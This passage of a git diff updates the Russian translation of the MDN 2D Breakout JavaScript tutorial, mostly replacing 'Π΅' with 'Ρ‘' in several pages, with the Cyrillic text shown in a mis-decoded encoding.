ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ ΡˆΠ°Ρ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π»Π΅Π²Ρ‹ΠΌΠΈ ΠΈ ΠΏΡ€Π°Π²Ρ‹ΠΌΠΈ краями Π±ΠΈΡ‚Ρ‹. ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ послСдний Π±ΠΈΡ‚ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π’Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ:</p>
+<p>ПослСдняя Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π° этом ΡƒΡ€ΠΎΠΊΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ столкновСний ΠΌΠ΅ΠΆΠ΄Ρƒ ΡˆΠ°Ρ€ΠΎΠΌ ΠΈ Π±ΠΈΡ‚ΠΎΠΉ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΡˆΠ°Ρ€ оттолкнётся ΠΎΡ‚ Π±ΠΈΡ‚Ρ‹Β ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ Π² ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΈΠ³Ρ€Ρ‹. Бамая простая Π²Π΅Ρ‰ΡŒ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ ΡˆΠ°Ρ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π»Π΅Π²Ρ‹ΠΌΠΈ ΠΈ ΠΏΡ€Π°Π²Ρ‹ΠΌΠΈ краями Π±ΠΈΡ‚Ρ‹. ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ послСдний Π±ΠΈΡ‚ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π’Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ:</p>
<pre class="brush: js">if(y + dy &lt; ballRadius) {
dy = -dy;
@@ -90,6 +90,6 @@ if(y + dy &gt; canvas.height-ballRadius || y + dy &lt; ballRadius) {
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_шаги">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги</h2>
-<p>ВсС ΠΈΠ΄Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΈ наша ΠΈΠ³Ρ€Π° Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ сСбя Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ достойно. Π’Ρ‹ ΡƒΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ! Но всС Π΅Ρ‰Π΅ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ. ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΡˆΠ΅ΡΡ‚ΠΎΠΉ Π³Π»Π°Π²Π΅Β β€” <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Build_the_brick_field">Build the brick field</a> β€” ΠΈ создадим нСкоторыС ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ для ΡˆΠ°Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠΈΡ‚ΡŒ.</p>
+<p>ВсС ΠΈΠ΄Ρ‘Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΈ наша ΠΈΠ³Ρ€Π° Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ сСбя Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ достойно. Π’Ρ‹ ΡƒΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΈΠ³Ρ€Π°Ρ‚ΡŒ! Но всС Π΅Ρ‰Ρ‘ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ. ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΡˆΠ΅ΡΡ‚ΠΎΠΉ Π³Π»Π°Π²Π΅Β β€” <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Build_the_brick_field">Build the brick field</a> β€” ΠΈ создадим нСкоторыС ΠΊΠΈΡ€ΠΏΠΈΡ‡ΠΈ для ΡˆΠ°Ρ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠΈΡ‚ΡŒ.</p>
<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html
index 2a30bbadb5..0d37f7d427 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html
@@ -37,12 +37,12 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
<li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over">ΠšΠΎΠ½Π΅Ρ† ΠΈΠ³Ρ€Ρ‹</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field">ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ поля ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection">РСакция ΠΏΡ€ΠΈ столкновСнии</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">Π‘Ρ‡Π΅Ρ‚ ΠΈ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Ρˆ</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">Π‘Ρ‡Ρ‘Ρ‚ ΠΈ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Ρˆ</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ ΠΌΡ‹ΡˆΡŒΡŽ</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</a></li>
</ol>
-<p>Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Π΅ знания Π² области Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Ρ… ΠΈΠ³Ρ€ β€” это Π½Π°Ρ‡Π°Ρ‚ΡŒ с чистого JavaScript. Π—Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ любой Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для использования Π² своих ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Ρ….Β Π€Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ β€” это инструмСнты, созданныС Π½Π° языкС JavaScript; поэтому, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ, нСлишним Π±ΡƒΠ΄Π΅Ρ‚ сначала ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ сам язык, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ происходит Π²Π½ΡƒΡ‚Ρ€ΠΈ. Π€Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΡƒΡΠΊΠΎΡ€ΡΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ со скучными частями ΠΈΠ³Ρ€Ρ‹, Π½ΠΎ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ оТидалось, всСгда ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΎΡ‚Π»Π°Π΄ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° чистом JavaScript.</p>
+<p>Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Π΅ знания Π² области Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Ρ… ΠΈΠ³Ρ€ β€” это Π½Π°Ρ‡Π°Ρ‚ΡŒ с чистого JavaScript. Π—Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ любой Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для использования Π² своих ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°Ρ….Β Π€Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ β€” это инструмСнты, созданныС Π½Π° языкС JavaScript; поэтому, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ, нСлишним Π±ΡƒΠ΄Π΅Ρ‚ сначала ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ сам язык, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ происходит Π²Π½ΡƒΡ‚Ρ€ΠΈ. Π€Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΡƒΡΠΊΠΎΡ€ΡΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ со скучными частями ΠΈΠ³Ρ€Ρ‹, Π½ΠΎ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ оТидалось, всСгда ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΎΡ‚Π»Π°Π΄ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ собствСнноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° чистом JavaScript.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅.</strong> Если Π²Π°ΠΌ интСрСсно ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… ΠΈΠ³Ρ€ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ сСриСй статСй <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D ΠΈΠ³Ρ€Π°Β Breakout с использованиСм Phaser</a>.</p>
@@ -54,6 +54,6 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ_шаг">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг</h2>
-<p>Π›Π°Π΄Π½ΠΎ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ! ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π³Π»Π°Π²Π΅ β€” <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Canvas ΠΈ рисованиС Π½Π° Π½Π΅ΠΌ</a>.</p>
+<p>Π›Π°Π΄Π½ΠΎ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ! ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π³Π»Π°Π²Π΅ β€” <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Canvas ΠΈ рисованиС Π½Π° Π½Π΅ΠΌ</a>.</p>
<p>{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it")}}Β </p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html
index e6f61bebe1..28cf380c31 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html
@@ -23,7 +23,7 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π£ΠΏΡ€Π°Π²Π»Π΅Π½
<h2 id="ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅_Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΉ_ΠΌΡ‹ΡˆΠΈ">ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΉ ΠΌΡ‹ΡˆΠΈ</h2>
-<p>ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΉ ΠΌΡ‹ΡˆΠΈ Π΅Ρ‰Π΅ ΠΏΡ€ΠΎΡ‰Π΅, Ρ‡Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ клавиш. ВсС, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, это ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° событиями {{event("mousemove")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС, ΠΊΠ°ΠΊ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… событий, Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ <code>keyup event</code>:</p>
+<p>ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΉ ΠΌΡ‹ΡˆΠΈ Π΅Ρ‰Ρ‘ ΠΏΡ€ΠΎΡ‰Π΅, Ρ‡Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ клавиш. ВсС, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, это ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° событиями {{event("mousemove")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС, ΠΊΠ°ΠΊ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… событий, Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ <code>keyup event</code>:</p>
<pre class="brush: js">document.addEventListener("mousemove", mouseMoveHandler, false);</pre>
@@ -54,6 +54,6 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Π£ΠΏΡ€Π°Π²Π»Π΅Π½
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ_шаг">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ полная ΠΈΠ³Ρ€Π°, ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠΌ Π½Π°ΡˆΡƒ ΡΠ΅Ρ€ΠΈΡŽ ΡƒΡ€ΠΎΠΊΠΎΠ² с Π΅Ρ‰Π΅ нСсколькими нСбольшими хитростями β€” <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Finishing_up">Finishing up</a>.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ полная ΠΈΠ³Ρ€Π°, ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠΌ Π½Π°ΡˆΡƒ ΡΠ΅Ρ€ΠΈΡŽ ΡƒΡ€ΠΎΠΊΠΎΠ² с Π΅Ρ‰Ρ‘ нСсколькими нСбольшими хитростями β€” <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Finishing_up">Finishing up</a>.</p>
<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html
index f96c85e459..420347d83d 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html
@@ -23,7 +23,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyb
var paddleWidth = 75;
var paddleX = (canvas.width-paddleWidth)/2;</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ опрСдСляСм высоту ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΈ, ΠΈ Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π½Π° оси X, для дальнСйшСго использования Π² расчСтах. Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΡƒ Π½Π° экранС. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ послС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>drawBall()</code>:</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ опрСдСляСм высоту ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΈ, ΠΈ Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ Π½Π° оси X, для дальнСйшСго использования Π² расчётах. Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΡƒ Π½Π° экранС. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π±Π»ΠΎΠΊ послС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>drawBall()</code>:</p>
<pre class="brush: js">function drawPaddle() {
ctx.beginPath();
@@ -76,7 +76,7 @@ function keyUpHandler(e) {
<p>Когда ΠΌΡ‹ Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ, эта информация хранится Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π°Ρ пСрСмСнная Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌ случаС устанавливаСтся Π² <code>true</code>. Когда клавиша ΠΎΡ‚ΠΏΡƒΡ‰Π΅Π½Π°, пСрСмСнная устанавливаСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² <code>false</code>.</p>
-<p>ОбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, прСдставлСнный ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>e</code>. Из Π½Π΅Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ: <code>key</code> содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΎΠΉ клавишС. НапримСр, ΠΊΠΎΠ΄ 37 — это клавиша стрСлка Π²Π»Π΅Π²ΠΎ ΠΈ 39 — стрСлка Π²ΠΏΡ€Π°Π²ΠΎ. Если стрСлка Π²Π»Π΅Π²ΠΎ Π½Π°ΠΆΠ°Ρ‚Π°, Ρ‚ΠΎ пСрСмСнная <code>leftPressed</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΎΡ‚ΠΏΡƒΡ‰Π΅Π½Π°, Ρ‚ΠΎ пСрСмСнная leftPressed ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ false. Π’Π° ΠΆΠ΅ схСма со стрСлкой Π²ΠΏΡ€Π°Π²ΠΎ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ rightPressed.</p>
+<p>ОбС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, прСдставлСнный ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>e</code>. Из Π½Π΅Ρ‘ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ: <code>key</code> содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΎΠΉ клавишС. НапримСр, ΠΊΠΎΠ΄ 37 — это клавиша стрСлка Π²Π»Π΅Π²ΠΎ ΠΈ 39 — стрСлка Π²ΠΏΡ€Π°Π²ΠΎ. Если стрСлка Π²Π»Π΅Π²ΠΎ Π½Π°ΠΆΠ°Ρ‚Π°, Ρ‚ΠΎ пСрСмСнная <code>leftPressed</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΎΡ‚ΠΏΡƒΡ‰Π΅Π½Π°, Ρ‚ΠΎ пСрСмСнная leftPressed ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ false. Π’Π° ΠΆΠ΅ схСма со стрСлкой Π²ΠΏΡ€Π°Π²ΠΎ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ rightPressed.</p>
<h3 id="Π›ΠΎΠ³ΠΈΠΊΠ°_пСрСмСщСния_Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΈ">Π›ΠΎΠ³ΠΈΠΊΠ° пСрСмСщСния Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΈ</h3>
@@ -100,7 +100,7 @@ else if(leftPressed &amp;&amp; paddleX &gt; 0) {
